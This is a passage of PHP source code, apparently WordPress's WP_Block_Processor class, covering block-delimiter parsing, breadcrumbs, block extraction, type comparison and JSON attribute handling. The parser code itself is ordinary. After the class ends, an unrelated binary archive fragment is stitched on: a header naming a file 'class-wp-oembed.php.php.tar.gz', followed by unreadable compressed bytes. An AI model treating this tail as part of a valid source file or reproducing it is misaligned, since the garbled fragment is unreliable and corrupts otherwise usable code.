			$has_separator = '/' === $text[ $separator_at ];
			if ( $has_separator ) {
				$name_at = $separator_at + 1;

				if ( $name_at >= $end ) {
					goto incomplete;
				}

				// <!-- /wp:core/p⃨a⃨r⃨a⃨g⃨r⃨a⃨p⃨h⃨ {"dropCap":true} /-->
				$start_of_name = $text[ $name_at ];
				if ( 'a' > $start_of_name || 'z' < $start_of_name ) {
					$at = $this->find_html_comment_end( $comment_opening_at, $end );
					continue;
				}

				$name_length = 1 + strspn( $text, 'abcdefghijklmnopqrstuvwxyz0123456789-_', $name_at + 1 );
			} else {
				$name_at     = $namespace_at;
				$name_length = $namespace_length;
			}

			if ( $name_at + $name_length >= $end ) {
				goto incomplete;
			}

			/*
			 * For this next section of the delimiter, it could be the JSON attributes
			 * or it could be the end of the comment. Assume that the JSON is there and
			 * update if it’s not.
			 */

			// <!-- /wp:core/paragraph ⃨{"dropCap":true} /-->
			$after_name_whitespace_at     = $name_at + $name_length;
			$after_name_whitespace_length = strspn( $text, " \t\f\r\n", $after_name_whitespace_at );
			$json_at                      = $after_name_whitespace_at + $after_name_whitespace_length;

			if ( $json_at >= $end ) {
				goto incomplete;
			}

			if ( 0 === $after_name_whitespace_length ) {
				$at = $this->find_html_comment_end( $comment_opening_at, $end );
				continue;
			}

			// <!-- /wp:core/paragraph {⃨"dropCap":true} /-->
			$has_json    = '{' === $text[ $json_at ];
			$json_length = 0;

			/*
			 * For the final span of the delimiter it's most efficient to find the end of the
			 * HTML comment and work backwards. This prevents complicated parsing inside the
			 * JSON span, which is not allowed to contain the HTML comment terminator.
			 *
			 * This also matches the behavior in the official block parser,
			 * even though it allows for matching invalid JSON content.
			 *
			 * <!-- /wp:core/paragraph {"dropCap":true} /-⃨-⃨>⃨
			 */
			$comment_closing_at = strpos( $text, '-->', $json_at );
			if ( false === $comment_closing_at ) {
				goto incomplete;
			}

			// <!-- /wp:core/paragraph {"dropCap":true} /⃨-->
			if ( '/' === $text[ $comment_closing_at - 1 ] ) {
				$has_void_flag    = true;
				$void_flag_length = 1;
			} else {
				$has_void_flag    = false;
				$void_flag_length = 0;
			}

			/*
			 * If there's no JSON, then the span of text after the name
			 * until the comment closing must be completely whitespace.
			 * Otherwise it’s a normal HTML comment.
			 */
			if ( ! $has_json ) {
				if ( $after_name_whitespace_at + $after_name_whitespace_length === $comment_closing_at - $void_flag_length ) {
					// This must be a block delimiter!
					$this->state = self::MATCHED;
					break;
				}

				$at = $this->find_html_comment_end( $comment_opening_at, $end );
				continue;
			}

			/*
			 * There's JSON, so attempt to find its boundary.
			 *
			 * @todo It’s likely faster to scan forward instead of in reverse.
			 *
			 * <!-- /wp:core/paragraph {"dropCap":true}⃨ ⃨/-->
			 */
			$after_json_whitespace_length = 0;
			for ( $char_at = $comment_closing_at - $void_flag_length - 1; $char_at > $json_at; $char_at-- ) {
				$char = $text[ $char_at ];

				switch ( $char ) {
					case ' ':
					case "\t":
					case "\f":
					case "\r":
					case "\n":
						++$after_json_whitespace_length;
						continue 2;

					case '}':
						$json_length = $char_at - $json_at + 1;
						break 2;

					default:
						++$at;
						continue 3;
				}
			}

			/*
			 * This covers cases where there is no terminating “}” or where
			 * mandatory whitespace is missing.
			 */
			if ( 0 === $json_length || 0 === $after_json_whitespace_length ) {
				$at = $this->find_html_comment_end( $comment_opening_at, $end );
				continue;
			}

			// This must be a block delimiter!
			$this->state = self::MATCHED;
			break;
		}

		// The end of the document was reached without a match.
		if ( self::MATCHED !== $this->state ) {
			$this->state = self::COMPLETE;
			return false;
		}

		/*
		 * From this point forward, a delimiter has been matched. There
		 * might also be an HTML span that appears before the delimiter.
		 */

		$this->after_previous_delimiter = $after_prev_delimiter;

		$this->matched_delimiter_at     = $comment_opening_at;
		$this->matched_delimiter_length = $comment_closing_at + 3 - $comment_opening_at;

		$this->namespace_at = $namespace_at;
		$this->name_at      = $name_at;
		$this->name_length  = $name_length;

		$this->json_at     = $json_at;
		$this->json_length = $json_length;

		/*
		 * When delimiters contain both the void flag and the closing flag
		 * they shall be interpreted as void blocks, per the spec parser.
		 */
		if ( $has_void_flag ) {
			$this->type          = self::VOID;
			$this->next_stack_op = 'void';
		} elseif ( $has_closer ) {
			$this->type          = self::CLOSER;
			$this->next_stack_op = 'pop';

			/*
			 * @todo Check if the name matches and bail according to the spec parser.
			 *       The default parser doesn’t examine the names.
			 */
		} else {
			$this->type          = self::OPENER;
			$this->next_stack_op = 'push';
		}

		$this->has_closing_flag = $has_closer;

		// HTML spans are visited before the delimiter that follows them.
		if ( $comment_opening_at > $after_prev_delimiter ) {
			$this->state                = self::HTML_SPAN;
			$this->open_blocks_at[]     = $after_prev_delimiter;
			$this->open_blocks_length[] = 0;
			$this->was_void             = true;

			return true;
		}

		// If there were no HTML spans then flush the enqueued stack operations immediately.
		switch ( $this->next_stack_op ) {
			case 'void':
				$this->was_void             = true;
				$this->open_blocks_at[]     = $namespace_at;
				$this->open_blocks_length[] = $name_at + $name_length - $namespace_at;
				break;

			case 'push':
				$this->open_blocks_at[]     = $namespace_at;
				$this->open_blocks_length[] = $name_at + $name_length - $namespace_at;
				break;

			case 'pop':
				array_pop( $this->open_blocks_at );
				array_pop( $this->open_blocks_length );
				break;
		}

		$this->next_stack_op = null;

		return true;

		incomplete:
		$this->state      = self::COMPLETE;
		$this->last_error = self::INCOMPLETE_INPUT;
		return false;
	}

	/**
	 * Returns an array containing the names of the currently-open blocks, in order
	 * from outermost to innermost, with HTML spans indicated as “#html”.
	 *
	 * Example:
	 *
	 *     // Freeform HTML content is an HTML span.
	 *     $processor = new WP_Block_Processor( 'Just text' );
	 *     $processor->next_token();
	 *     array( '#text' ) === $processor->get_breadcrumbs();
	 *
	 *     $processor = new WP_Block_Processor( '<!-- wp:a --><!-- wp:b --><!-- wp:c /--><!-- /wp:b --><!-- /wp:a -->' );
	 *     $processor->next_token();
	 *     array( 'core/a' ) === $processor->get_breadcrumbs();
	 *     $processor->next_token();
	 *     array( 'core/a', 'core/b' ) === $processor->get_breadcrumbs();
	 *     $processor->next_token();
	 *     // Void blocks are only open while visiting them.
	 *     array( 'core/a', 'core/b', 'core/c' ) === $processor->get_breadcrumbs();
	 *     $processor->next_token();
	 *     // Blocks are closed before visiting their closing delimiter.
	 *     array( 'core/a' ) === $processor->get_breadcrumbs();
	 *     $processor->next_token();
	 *     array() === $processor->get_breadcrumbs();
	 *
	 *     // Inner HTML is also an HTML span.
	 *     $processor = new WP_Block_Processor( '<!-- wp:a -->Inner HTML<!-- /wp:a -->' );
	 *     $processor->next_token();
	 *     $processor->next_token();
	 *     array( 'core/a', '#html' ) === $processor->get_breadcrumbs();
	 *
	 * @since 6.9.0
	 *
	 * @return string[]
	 */
	public function get_breadcrumbs(): array {
		$breadcrumbs = array_fill( 0, count( $this->open_blocks_at ), null );

		/*
		 * Since HTML spans can only be at the very end, set the normalized block name for
		 * each open element and then work backwards after creating the array. This allows
		 * for the elimination of a conditional on each iteration of the loop.
		 */
		foreach ( $this->open_blocks_at as $i => $at ) {
			$block_type        = substr( $this->source_text, $at, $this->open_blocks_length[ $i ] );
			$breadcrumbs[ $i ] = self::normalize_block_type( $block_type );
		}

		if ( isset( $i ) && 0 === $this->open_blocks_length[ $i ] ) {
			$breadcrumbs[ $i ] = '#html';
		}

		return $breadcrumbs;
	}

	/**
	 * Returns the depth of the open blocks where the processor is currently matched.
	 *
	 * Depth increases before visiting openers and void blocks and decreases before
	 * visiting closers. HTML spans behave like void blocks.
	 *
	 * @since 6.9.0
	 *
	 * @return int
	 */
	public function get_depth(): int {
		return count( $this->open_blocks_at );
	}

	/**
	 * Extracts a block object, and all inner content, starting at a matched opening
	 * block delimiter, or at a matched top-level HTML span as freeform HTML content.
	 *
	 * Use this function to extract some blocks within a document, but not all. For example,
	 * one might want to find image galleries, parse them, modify them, and then reserialize
	 * them in place.
	 *
	 * Once this function returns, the parser will be matched on token following the close
	 * of the given block.
	 *
	 * The return type of this method is compatible with the return of {@see \parse_blocks()}.
	 *
	 * Example:
	 *
	 *     $processor = new WP_Block_Processor( $post_content );
	 *     if ( ! $processor->next_block( 'gallery' ) ) {
	 *         return $post_content;
	 *     }
	 *
	 *     $gallery_at  = $processor->get_span()->start;
	 *     $gallery     = $processor->extract_full_block_and_advance();
	 *     $ends_before = $processor->get_span();
	 *     $ends_before = $ends_before->start ?? strlen( $post_content );
	 *
	 *     $new_gallery = update_gallery( $gallery );
	 *     $new_gallery = serialize_block( $new_gallery );
	 *
	 *     return (
	 *         substr( $post_content, 0, $gallery_at ) .
	 *         $new_gallery .
	 *         substr( $post_content, $ends_before )
	 *     );
	 *
	 * @since 6.9.0
	 *
	 * @return array[]|null {
	 *     Array of block structures.
	 *
	 *     @type array ...$0 {
	 *         An associative array of a single parsed block object. See WP_Block_Parser_Block.
	 *
	 *         @type string|null $blockName    Name of block.
	 *         @type array       $attrs        Attributes from block comment delimiters.
	 *         @type array[]     $innerBlocks  List of inner blocks. An array of arrays that
	 *                                         have the same structure as this one.
	 *         @type string      $innerHTML    HTML from inside block comment delimiters.
	 *         @type array       $innerContent List of string fragments and null markers where
	 *                                         inner blocks were found.
	 *     }
	 * }
	 */
	public function extract_full_block_and_advance(): ?array {
		if ( $this->is_html() ) {
			$chunk = $this->get_html_content();

			return array(
				'blockName'    => null,
				'attrs'        => array(),
				'innerBlocks'  => array(),
				'innerHTML'    => $chunk,
				'innerContent' => array( $chunk ),
			);
		}

		$block = array(
			'blockName'    => $this->get_block_type(),
			'attrs'        => $this->allocate_and_return_parsed_attributes() ?? array(),
			'innerBlocks'  => array(),
			'innerHTML'    => '',
			'innerContent' => array(),
		);

		$depth = $this->get_depth();
		while ( $this->next_token() && $this->get_depth() > $depth ) {
			if ( $this->is_html() ) {
				$chunk                   = $this->get_html_content();
				$block['innerHTML']     .= $chunk;
				$block['innerContent'][] = $chunk;
				continue;
			}

			/**
			 * Inner blocks.
			 *
			 * @todo This is a decent place to call {@link \render_block()}
			 * @todo Use iteration instead of recursion, or at least refactor to tail-call form.
			 */
			if ( $this->opens_block() ) {
				$inner_block             = $this->extract_full_block_and_advance();
				$block['innerBlocks'][]  = $inner_block;
				$block['innerContent'][] = null;
			}
		}

		return $block;
	}

	/**
	 * Returns the byte-offset after the ending character of an HTML comment,
	 * assuming the proper starting byte offset.
	 *
	 * @since 6.9.0
	 *
	 * @param int $comment_starting_at Where the HTML comment started, the leading `<`.
	 * @param int $search_end          Last offset in which to search, for limiting search span.
	 * @return int Offset after the current HTML comment ends, or `$search_end` if no end was found.
	 */
	private function find_html_comment_end( int $comment_starting_at, int $search_end ): int {
		$text = $this->source_text;

		// Find span-of-dashes comments which look like `<!----->`.
		$span_of_dashes = strspn( $text, '-', $comment_starting_at + 2 );
		if (
			$comment_starting_at + 2 + $span_of_dashes < $search_end &&
			'>' === $text[ $comment_starting_at + 2 + $span_of_dashes ]
		) {
			return $comment_starting_at + $span_of_dashes + 1;
		}

		// Otherwise, there are other characters inside the comment, find the first `-->` or `--!>`.
		$now_at = $comment_starting_at + 4;
		while ( $now_at < $search_end ) {
			$dashes_at = strpos( $text, '--', $now_at );
			if ( false === $dashes_at ) {
				return $search_end;
			}

			$closer_must_be_at = $dashes_at + 2 + strspn( $text, '-', $dashes_at + 2 );
			if ( $closer_must_be_at < $search_end && '!' === $text[ $closer_must_be_at ] ) {
				++$closer_must_be_at;
			}

			if ( $closer_must_be_at < $search_end && '>' === $text[ $closer_must_be_at ] ) {
				return $closer_must_be_at + 1;
			}

			++$now_at;
		}

		return $search_end;
	}

	/**
	 * Indicates if the last attempt to parse a block comment delimiter
	 * failed, if set, otherwise `null` if the last attempt succeeded.
	 *
	 * @since 6.9.0
	 *
	 * @return string|null Error from last attempt at parsing next block delimiter,
	 *                     or `null` if last attempt succeeded.
	 */
	public function get_last_error(): ?string {
		return $this->last_error;
	}

	/**
	 * Indicates if the last attempt to parse a block’s JSON attributes failed.
	 *
	 * @see \json_last_error()
	 *
	 * @since 6.9.0
	 *
	 * @return int JSON_ERROR_ code from last attempt to parse block JSON attributes.
	 */
	public function get_last_json_error(): int {
		return $this->last_json_error;
	}

	/**
	 * Returns the type of the block comment delimiter.
	 *
	 * One of:
	 *
	 *  - {@see self::OPENER}
	 *  - {@see self::CLOSER}
	 *  - {@see self::VOID}
	 *  - `null`
	 *
	 * @since 6.9.0
	 *
	 * @return string|null type of the block comment delimiter, if currently matched.
	 */
	public function get_delimiter_type(): ?string {
		switch ( $this->state ) {
			case self::HTML_SPAN:
				return self::VOID;

			case self::MATCHED:
				return $this->type;

			default:
				return null;
		}
	}

	/**
	 * Returns whether the delimiter contains the closing flag.
	 *
	 * This should be avoided except in cases of custom error-handling
	 * with block closers containing the void flag. For normative use,
	 * {@see self::get_delimiter_type()}.
	 *
	 * @since 6.9.0
	 *
	 * @return bool Whether the currently-matched block delimiter contains the closing flag.
	 */
	public function has_closing_flag(): bool {
		return $this->has_closing_flag;
	}

	/**
	 * Indicates if the block delimiter represents a block of the given type.
	 *
	 * Since the “core” namespace may be implicit, it’s allowable to pass
	 * either the fully-qualified block type with namespace and block name
	 * as well as the shorthand version only containing the block name, if
	 * the desired block is in the “core” namespace.
	 *
	 * Since freeform HTML content is non-block content, it has no block type.
	 * Passing the wildcard “*” will, however, return true for all block types,
	 * even the implicit freeform content, though not for spans of inner HTML.
	 *
	 * Example:
	 *
	 *     $is_core_paragraph = $processor->is_block_type( 'paragraph' );
	 *     $is_core_paragraph = $processor->is_block_type( 'core/paragraph' );
	 *     $is_formula        = $processor->is_block_type( 'math-block/formula' );
	 *
	 * @param string $block_type Block type name for the desired block.
	 *                           E.g. "paragraph", "core/paragraph", "math-blocks/formula".
	 * @return bool Whether this delimiter represents a block of the given type.
	 */
	public function is_block_type( string $block_type ): bool {
		if ( '*' === $block_type ) {
			return true;
		}

		// This is a core/freeform text block, it’s special.
		if ( $this->is_html() && 0 === ( $this->open_blocks_length[0] ?? null ) ) {
			return (
				'core/freeform' === $block_type ||
				'freeform' === $block_type
			);
		}

		return $this->are_equal_block_types( $this->source_text, $this->namespace_at, $this->name_at - $this->namespace_at + $this->name_length, $block_type, 0, strlen( $block_type ) );
	}

	/**
	 * Given two spans of text, indicate if they represent identical block types.
	 *
	 * This function normalizes block types to account for implicit core namespacing.
	 *
	 * Note! This function only returns valid results when the complete block types are
	 *       represented in the span offsets and lengths. This means that the full optional
	 *       namespace and block name must be represented in the input arguments.
	 *
	 * Example:
	 *
	 *              0    5   10   15   20   25   30   35   40
	 *     $text = '<!-- wp:block --><!-- /wp:core/block -->';
	 *
	 *     true  === WP_Block_Processor::are_equal_block_types( $text, 9, 5, $text, 27, 10 );
	 *     false === WP_Block_Processor::are_equal_block_types( $text, 9, 5, 'my/block', 0, 8 );
	 *
	 * @since 6.9.0
	 *
	 * @param string $a_text   Text in which first block type appears.
	 * @param int    $a_at     Byte offset into text in which first block type starts.
	 * @param int    $a_length Byte length of first block type.
	 * @param string $b_text   Text in which second block type appears (may be the same as the first text).
	 * @param int    $b_at     Byte offset into text in which second block type starts.
	 * @param int    $b_length Byte length of second block type.
	 * @return bool Whether the spans of text represent identical block types, normalized for namespacing.
	 */
	public static function are_equal_block_types( string $a_text, int $a_at, int $a_length, string $b_text, int $b_at, int $b_length ): bool {
		$a_ns_length = strcspn( $a_text, '/', $a_at, $a_length );
		$b_ns_length = strcspn( $b_text, '/', $b_at, $b_length );

		$a_has_ns = $a_ns_length !== $a_length;
		$b_has_ns = $b_ns_length !== $b_length;

		// Both contain namespaces.
		if ( $a_has_ns && $b_has_ns ) {
			if ( $a_length !== $b_length ) {
				return false;
			}

			$a_block_type = substr( $a_text, $a_at, $a_length );

			return 0 === substr_compare( $b_text, $a_block_type, $b_at, $b_length );
		}

		if ( $a_has_ns ) {
			$b_block_type = 'core/' . substr( $b_text, $b_at, $b_length );

			return (
				strlen( $b_block_type ) === $a_length &&
				0 === substr_compare( $a_text, $b_block_type, $a_at, $a_length )
			);
		}

		if ( $b_has_ns ) {
			$a_block_type = 'core/' . substr( $a_text, $a_at, $a_length );

			return (
				strlen( $a_block_type ) === $b_length &&
				0 === substr_compare( $b_text, $a_block_type, $b_at, $b_length )
			);
		}

		// Neither contains a namespace.
		if ( $a_length !== $b_length ) {
			return false;
		}

		$a_name = substr( $a_text, $a_at, $a_length );

		return 0 === substr_compare( $b_text, $a_name, $b_at, $b_length );
	}

	/**
	 * Indicates if the matched delimiter is an opening or void delimiter of the given type,
	 * if a type is provided, otherwise if it opens any block or implicit freeform HTML content.
	 *
	 * This is a helper method to ease handling of code inspecting where blocks start, and for
	 * checking if the blocks are of a given type. The function is variadic to allow for
	 * checking if the delimiter opens one of many possible block types.
	 *
	 * To advance to the start of a block {@see self::next_block()}.
	 *
	 * Example:
	 *
	 *     $processor = new WP_Block_Processor( $html );
	 *     while ( $processor->next_delimiter() ) {
	 *         if ( $processor->opens_block( 'core/code', 'syntaxhighlighter/code' ) ) {
	 *             echo "Found code!";
	 *             continue;
	 *         }
	 *
	 *         if ( $processor->opens_block( 'core/image' ) ) {
	 *             echo "Found an image!";
	 *             continue;
	 *         }
	 *
	 *         if ( $processor->opens_block() ) {
	 *             echo "Found a new block!";
	 *         }
	 *     }
	 *
	 * @since 6.9.0
	 *
	 * @see self::is_block_type()
	 *
	 * @param string[] $block_type Optional. Is the matched block type one of these?
	 *                             If none are provided, will not test block type.
	 * @return bool Whether the matched block delimiter opens a block, and whether it
	 *              opens a block of one of the given block types, if provided.
	 */
	public function opens_block( string ...$block_type ): bool {
		// HTML spans only open implicit freeform content at the top level.
		if ( self::HTML_SPAN === $this->state && 1 !== count( $this->open_blocks_at ) ) {
			return false;
		}

		/*
		 * Because HTML spans are discovered after the next delimiter is found,
		 * the delimiter type when visiting HTML spans refers to the type of the
		 * following delimiter. Therefore the HTML case is handled by checking
		 * the state and depth of the stack of open block.
		 */
		if ( self::CLOSER === $this->type && ! $this->is_html() ) {
			return false;
		}

		if ( count( $block_type ) === 0 ) {
			return true;
		}

		foreach ( $block_type as $block ) {
			if ( $this->is_block_type( $block ) ) {
				return true;
			}
		}

		return false;
	}

	/**
	 * Indicates if the matched delimiter is an HTML span.
	 *
	 * @since 6.9.0
	 *
	 * @see self::is_non_whitespace_html()
	 *
	 * @return bool Whether the processor is matched on an HTML span.
	 */
	public function is_html(): bool {
		return self::HTML_SPAN === $this->state;
	}

	/**
	 * Indicates if the matched delimiter is an HTML span and comprises more
	 * than whitespace characters, i.e. contains real content.
	 *
	 * Many block serializers introduce newlines between block delimiters,
	 * so the presence of top-level non-block content does not imply that
	 * there are “real” freeform HTML blocks. Checking if there is content
	 * beyond whitespace is a more certain check, such as for determining
	 * whether to load CSS for the freeform or fallback block type.
	 *
	 * @since 6.9.0
	 *
	 * @see self::is_html()
	 *
	 * @return bool Whether the currently-matched delimiter is an HTML
	 *              span containing non-whitespace text.
	 */
	public function is_non_whitespace_html(): bool {
		if ( ! $this->is_html() ) {
			return false;
		}

		$length = $this->matched_delimiter_at - $this->after_previous_delimiter;

		$whitespace_length = strspn(
			$this->source_text,
			" \t\f\r\n",
			$this->after_previous_delimiter,
			$length
		);

		return $whitespace_length !== $length;
	}

	/**
	 * Returns the string content of a matched HTML span, or `null` otherwise.
	 *
	 * @since 6.9.0
	 *
	 * @return string|null Raw HTML content, or `null` if not currently matched on HTML.
	 */
	public function get_html_content(): ?string {
		if ( ! $this->is_html() ) {
			return null;
		}

		return substr(
			$this->source_text,
			$this->after_previous_delimiter,
			$this->matched_delimiter_at - $this->after_previous_delimiter
		);
	}

	/**
	 * Allocates a substring for the block type and returns the fully-qualified
	 * name, including the namespace, if matched on a delimiter, otherwise `null`.
	 *
	 * This function is like {@see self::get_printable_block_type()} but when
	 * paused on a freeform HTML block, will return `null` instead of “core/freeform”.
	 * The `null` behavior matches what {@see \parse_blocks()} returns but may not
	 * be as useful as having a string value.
	 *
	 * This function allocates a substring for the given block type. This
	 * allocation will be small and likely fine in most cases, but it's
	 * preferable to call {@see self::is_block_type()} if only needing
	 * to know whether the delimiter is for a given block type, as that
	 * function is more efficient for this purpose and avoids the allocation.
	 *
	 * Example:
	 *
	 *     // Avoid.
	 *     'core/paragraph' = $processor->get_block_type();
	 *
	 *     // Prefer.
	 *     $processor->is_block_type( 'core/paragraph' );
	 *     $processor->is_block_type( 'paragraph' );
	 *     $processor->is_block_type( 'core/freeform' );
	 *
	 *     // Freeform HTML content has no block type.
	 *     $processor = new WP_Block_Processor( 'non-block content' );
	 *     $processor->next_token();
	 *     null === $processor->get_block_type();
	 *
	 * @since 6.9.0
	 *
	 * @see self::are_equal_block_types()
	 *
	 * @return string|null Fully-qualified block namespace and type, e.g. "core/paragraph",
	 *                     if matched on an explicit delimiter, otherwise `null`.
	 */
	public function get_block_type(): ?string {
		if (
			self::READY === $this->state ||
			self::COMPLETE === $this->state ||
			self::INCOMPLETE_INPUT === $this->state
		) {
			return null;
		}

		// This is a core/freeform text block, it’s special.
		if ( $this->is_html() ) {
			return null;
		}

		$block_type = substr( $this->source_text, $this->namespace_at, $this->name_at - $this->namespace_at + $this->name_length );
		return self::normalize_block_type( $block_type );
	}

	/**
	 * Allocates a printable substring for the block type and returns the fully-qualified
	 * name, including the namespace, if matched on a delimiter or freeform block, otherwise `null`.
	 *
	 * This function is like {@see self::get_block_type()} but when paused on a freeform
	 * HTML block, will return “core/freeform” instead of `null`. The `null` behavior matches
	 * what {@see \parse_blocks()} returns but may not be as useful as having a string value.
	 *
	 * This function allocates a substring for the given block type. This
	 * allocation will be small and likely fine in most cases, but it's
	 * preferable to call {@see self::is_block_type()} if only needing
	 * to know whether the delimiter is for a given block type, as that
	 * function is more efficient for this purpose and avoids the allocation.
	 *
	 * Example:
	 *
	 *     // Avoid.
	 *     'core/paragraph' = $processor->get_printable_block_type();
	 *
	 *     // Prefer.
	 *     $processor->is_block_type( 'core/paragraph' );
	 *     $processor->is_block_type( 'paragraph' );
	 *     $processor->is_block_type( 'core/freeform' );
	 *
	 *     // Freeform HTML content is given an implicit type.
	 *     $processor = new WP_Block_Processor( 'non-block content' );
	 *     $processor->next_token();
	 *     'core/freeform' === $processor->get_printable_block_type();
	 *
	 * @since 6.9.0
	 *
	 * @see self::are_equal_block_types()
	 *
	 * @return string|null Fully-qualified block namespace and type, e.g. "core/paragraph",
	 *                     if matched on an explicit delimiter or freeform block, otherwise `null`.
	 */
	public function get_printable_block_type(): ?string {
		if (
			self::READY === $this->state ||
			self::COMPLETE === $this->state ||
			self::INCOMPLETE_INPUT === $this->state
		) {
			return null;
		}

		// This is a core/freeform text block, it’s special.
		if ( $this->is_html() ) {
			return 1 === count( $this->open_blocks_at )
				? 'core/freeform'
				: '#innerHTML';
		}

		$block_type = substr( $this->source_text, $this->namespace_at, $this->name_at - $this->namespace_at + $this->name_length );
		return self::normalize_block_type( $block_type );
	}

	/**
	 * Normalizes a block name to ensure that missing implicit “core” namespaces are present.
	 *
	 * Example:
	 *
	 *     'core/paragraph' === WP_Block_Processor::normalize_block_byte( 'paragraph' );
	 *     'core/paragraph' === WP_Block_Processor::normalize_block_byte( 'core/paragraph' );
	 *     'my/paragraph'   === WP_Block_Processor::normalize_block_byte( 'my/paragraph' );
	 *
	 * @since 6.9.0
	 *
	 * @param string $block_type Valid block name, potentially without a namespace.
	 * @return string Fully-qualified block type including namespace.
	 */
	public static function normalize_block_type( string $block_type ): string {
		return false === strpos( $block_type, '/' )
			? "core/{$block_type}"
			: $block_type;
	}

	/**
	 * Returns a lazy wrapper around the block attributes, which can be used
	 * for efficiently interacting with the JSON attributes.
	 *
	 * This stub hints that there should be a lazy interface for parsing
	 * block attributes but doesn’t define it. It serves both as a placeholder
	 * for one to come as well as a guard against implementing an eager
	 * function in its place.
	 *
	 * @throws Exception This function is a stub for subclasses to implement
	 *                   when providing streaming attribute parsing.
	 *
	 * @since 6.9.0
	 *
	 * @see self::allocate_and_return_parsed_attributes()
	 *
	 * @return never
	 */
	public function get_attributes() {
		throw new Exception( 'Lazy attribute parsing not yet supported' );
	}

	/**
	 * Attempts to parse and return the entire JSON attributes from the delimiter,
	 * allocating memory and processing the JSON span in the process.
	 *
	 * This does not return any parsed attributes for a closing block delimiter
	 * even if there is a span of JSON content; this JSON is a parsing error.
	 *
	 * Consider calling {@see static::get_attributes()} instead if it's not
	 * necessary to read all the attributes at the same time, as that provides
	 * a more efficient mechanism for typical use cases.
	 *
	 * Since the JSON span inside the comment delimiter may not be valid JSON,
	 * this function will return `null` if it cannot parse the span and set the
	 * {@see static::get_last_json_error()} to the appropriate JSON_ERROR_ constant.
	 *
	 * If the delimiter contains no JSON span, it will also return `null`,
	 * but the last error will be set to {@see \JSON_ERROR_NONE}.
	 *
	 * Example:
	 *
	 *     $processor = new WP_Block_Processor( '<!-- wp:image {"url": "https://wordpress.org/favicon.ico"} -->' );
	 *     $processor->next_delimiter();
	 *     $memory_hungry_and_slow_attributes = $processor->allocate_and_return_parsed_attributes();
	 *     $memory_hungry_and_slow_attributes === array( 'url' => 'https://wordpress.org/favicon.ico' );
	 *
	 *     $processor = new WP_Block_Processor( '<!-- /wp:image {"url": "https://wordpress.org/favicon.ico"} -->' );
	 *     $processor->next_delimiter();
	 *     null            = $processor->allocate_and_return_parsed_attributes();
	 *     JSON_ERROR_NONE = $processor->get_last_json_error();
	 *
	 *     $processor = new WP_Block_Processor( '<!-- wp:separator {} /-->' );
	 *     $processor->next_delimiter();
	 *     array() === $processor->allocate_and_return_parsed_attributes();
	 *
	 *     $processor = new WP_Block_Processor( '<!-- wp:separator /-->' );
	 *     $processor->next_delimiter();
	 *     null = $processor->allocate_and_return_parsed_attributes();
	 *
	 *     $processor = new WP_Block_Processor( '<!-- wp:image {"url} -->' );
	 *     $processor->next_delimiter();
	 *     null                 = $processor->allocate_and_return_parsed_attributes();
	 *     JSON_ERROR_CTRL_CHAR = $processor->get_last_json_error();
	 *
	 * @since 6.9.0
	 *
	 * @return array|null Parsed JSON attributes, if present and valid, otherwise `null`.
	 */
	public function allocate_and_return_parsed_attributes(): ?array {
		$this->last_json_error = JSON_ERROR_NONE;

		if ( self::CLOSER === $this->type || $this->is_html() || 0 === $this->json_length ) {
			return null;
		}

		$json_span = substr( $this->source_text, $this->json_at, $this->json_length );
		$parsed    = json_decode( $json_span, null, 512, JSON_OBJECT_AS_ARRAY | JSON_INVALID_UTF8_SUBSTITUTE );

		$last_error            = json_last_error();
		$this->last_json_error = $last_error;

		return ( JSON_ERROR_NONE === $last_error && is_array( $parsed ) )
			? $parsed
			: null;
	}

	/**
	 * Returns the span representing the currently-matched delimiter, if matched, otherwise `null`.
	 *
	 * Example:
	 *
	 *     $processor = new WP_Block_Processor( '<!-- wp:void /-->' );
	 *     null     === $processor->get_span();
	 *
	 *     $processor->next_delimiter();
	 *     WP_HTML_Span( 0, 17 ) === $processor->get_span();
	 *
	 * @since 6.9.0
	 *
	 * @return WP_HTML_Span|null Span of text in source text spanning matched delimiter.
	 */
	public function get_span(): ?WP_HTML_Span {
		switch ( $this->state ) {
			case self::HTML_SPAN:
				return new WP_HTML_Span( $this->after_previous_delimiter, $this->matched_delimiter_at - $this->after_previous_delimiter );

			case self::MATCHED:
				return new WP_HTML_Span( $this->matched_delimiter_at, $this->matched_delimiter_length );

			default:
				return null;
		}
	}

	//
	// Constant declarations that would otherwise pollute the top of the class.
	//

	/**
	 * Indicates that the block comment delimiter closes an open block.
	 *
	 * @see self::$type
	 *
	 * @since 6.9.0
	 */
	const CLOSER = 'closer';

	/**
	 * Indicates that the block comment delimiter opens a block.
	 *
	 * @see self::$type
	 *
	 * @since 6.9.0
	 */
	const OPENER = 'opener';

	/**
	 * Indicates that the block comment delimiter represents a void block
	 * with no inner content of any kind.
	 *
	 * @see self::$type
	 *
	 * @since 6.9.0
	 */
	const VOID = 'void';

	/**
	 * Indicates that the processor is ready to start parsing but hasn’t yet begun.
	 *
	 * @see self::$state
	 *
	 * @since 6.9.0
	 */
	const READY = 'processor-ready';

	/**
	 * Indicates that the processor is matched on an explicit block delimiter.
	 *
	 * @see self::$state
	 *
	 * @since 6.9.0
	 */
	const MATCHED = 'processor-matched';

	/**
	 * Indicates that the processor is matched on the opening of an implicit freeform delimiter.
	 *
	 * @see self::$state
	 *
	 * @since 6.9.0
	 */
	const HTML_SPAN = 'processor-html-span';

	/**
	 * Indicates that the parser started parsing a block comment delimiter, but
	 * the input document ended before it could finish. The document was likely truncated.
	 *
	 * @see self::$state
	 *
	 * @since 6.9.0
	 */
	const INCOMPLETE_INPUT = 'incomplete-input';

	/**
	 * Indicates that the processor has finished parsing and has nothing left to scan.
	 *
	 * @see self::$state
	 *
	 * @since 6.9.0
	 */
	const COMPLETE = 'processor-complete';
}
PKYO\��5�mm!10/class-wp-oembed.php.php.tar.gznu�[�����=iw�F��U�[/$c
�lٙq,9�do<�ZK�̬�0 ���C�C����>иP�3���/���������gႏf�O�Q�M|��҅?������3�'#Ƿ�d�|1�͢�t�l����n���=~��/;�vvw<���G�pn>b�k��'KR;�������`.����=?zŦa̦<uf^p��gߟ����!��g1_�)gN�<H��N�f0�Eqx�p���z�2l߿f�k��ϣ�Fb5d�,e^�@м�n�	g�<��Xַ���,M���h������0v��'���#۽���[���/Ic;��`�[���� ��l'\���v�9����3�M��z�0���b�As1.�%b,�"��%ڳi8H��{�_����o�6A�w������^x�Q��M=���#�%�����@�8�̇Q�p���i��S�*�qa�̎c�/Gw6�`��3���oj���vS܊u��n�

�"r8�LB{v�G�!�N
